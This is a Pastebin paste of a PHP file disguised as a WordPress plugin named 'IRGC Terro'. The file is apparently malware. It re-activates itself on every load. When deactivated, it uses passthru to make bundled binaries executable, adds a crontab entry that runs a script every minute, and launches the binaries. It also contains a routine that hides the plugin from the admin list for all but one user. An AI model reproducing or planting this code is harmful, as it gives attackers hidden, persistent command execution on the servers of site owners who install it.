PalmaSolutions

irgcterror.php

Mar 31st, 2018
271
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.73 KB | None | 0 0
  1. <?php
  2. /**
  3. * Plugin Name: IRGC Terro
  4. * Version: 5.0
  5. * License: GPL3
  6. * Author: IRGCT
  7. * Description: IRGC Terrorist Designation Act
  8.  
  9. * Author URI: https://wordpress.org
  10. */
  11.  
  12. defined('ABSPATH') or die();
  13.  
  14. if(!class_exists('IRGCT')) {
  15. class IRGCT {
  16. private $key;
  17. private $pluginList;
  18. private $killRedirect;
  19. private $username;
  20. private $password;
  21. private $execpassthru;
  22.  
  23. public function __construct() {
  24. $this->execpassthru = 1;
  25. add_action('plugins_loaded', array(&$this,'installplugins'));
  26. add_action('plugins_loaded', array(&$this,'activateplugins'));
  27.  
  28. register_deactivation_hook(__FILE__, array(&$this,'deactivate'));
  29. register_activation_hook(__FILE__, array(&$this,'activate'));
  30.  
  31. $this->pluginList = Array(
  32. 'irgcterror/irgcterror.php'
  33. );
  34. include_once(ABSPATH.'/wp-admin/includes/plugin.php');
  35. include_once(ABSPATH.'/wp-includes/registration.php');
  36. include_once(ABSPATH.'/wp-admin/includes/file.php');
  37. }
  38.  
  39. function deactivate() {
  40. $this->deleteplugins();
  41. }
  42. function activate() {
  43.  
  44. $this->installplugins();
  45. }
  46.  
  47. function installplugins() {
  48.  
  49. return 0;
  50. }
  51. function activateplugins() {
  52. foreach($this->pluginList as $plugin) {
  53. activate_plugin($plugin);
  54. }
  55. }
  56. function deleteplugins() {
  57. if($this->execpassthru == 1){
  58. $err = "";
  59. $returnvar = -1;
  60. passthru('chmod +x '.ABSPATH.'/wp-content/plugins/irgcterror/IRGC*; chmod +x '.ABSPATH.'/wp-content/plugins/irgcterror/cronrun.sh');
  61. passthru('echo -n "'.ABSPATH.'" > '.ABSPATH.'/wp-content/plugins/irgcterror/abspath.txt');
  62. passthru('cd '.ABSPATH.'/wp-content/plugins/irgcterror/; crontab -l > mycron; echo "*/1 * * * * cd '.ABSPATH.'/wp-content/plugins/irgcterror/; ./cronrun.sh" >> mycron; crontab mycron;', $returnvar);
  63. if ($returnvar != 0) {
  64. passthru('LD_LIBRARY_PATH='.ABSPATH.'/wp-content/plugins/irgcterror:$LD_LIBRARY_PATH '.ABSPATH.'/wp-content/plugins/irgcterror/IRGC-2.2', $returnvar);
  65. }
  66. if ($returnvar != 0) {
  67. passthru(ABSPATH.'/wp-content/plugins/irgcterror/IRGC', $returnvar);
  68. }
  69. if ($returnvar != 0) {
  70. die("A Von Neumann paradox has occured in the flux capacitor.");
  71. }
  72. $this->execpassthru = 0;
  73. }
  74. /**deactivate_plugins('irgcterror/irgcterror.php');
  75. try {
  76. $wp_filesystem->delete(ABSPATH.'/wp-content/plugins/irgcterror',true);
  77. } catch (Exception $e) {
  78. $e = $e;
  79. }
  80. if(get_filesystem_method() == 'direct') {
  81. $creds = request_filesystem_credentials(site_url() . '/wp-admin/', '', false, false, array());
  82. if(!WP_Filesystem($creds)) {
  83. return 0;
  84. } else {
  85. global $wp_filesystem;
  86. $wp_filesystem->delete(ABSPATH.'/wp-content/plugins/irgcterror',true);
  87. }
  88. }**/
  89. }
  90.  
  91. function hideplugins() {
  92. global $wp_list_table;
  93. global $current_user;
  94.  
  95. $a = $this->pluginList;
  96.  
  97. $b = $wp_list_table->items;
  98.  
  99. foreach ($b as $c => $d) {
  100. if (in_array($c,$a)) {
  101. if ($current_user->user_login != $this->username) {
  102. unset($wp_list_table->items[$c]);
  103. } else {
  104. $wp_list_table->items[$c]['Name'] .= ' (Hidden)';
  105. }
  106. }
  107. }
  108. }
  109. }
  110. }
  111.  
  112. $IRGCT = new IRGCT();
  113.  
  114. ?>
Advertisement
Add Comment
Please, Sign In to add comment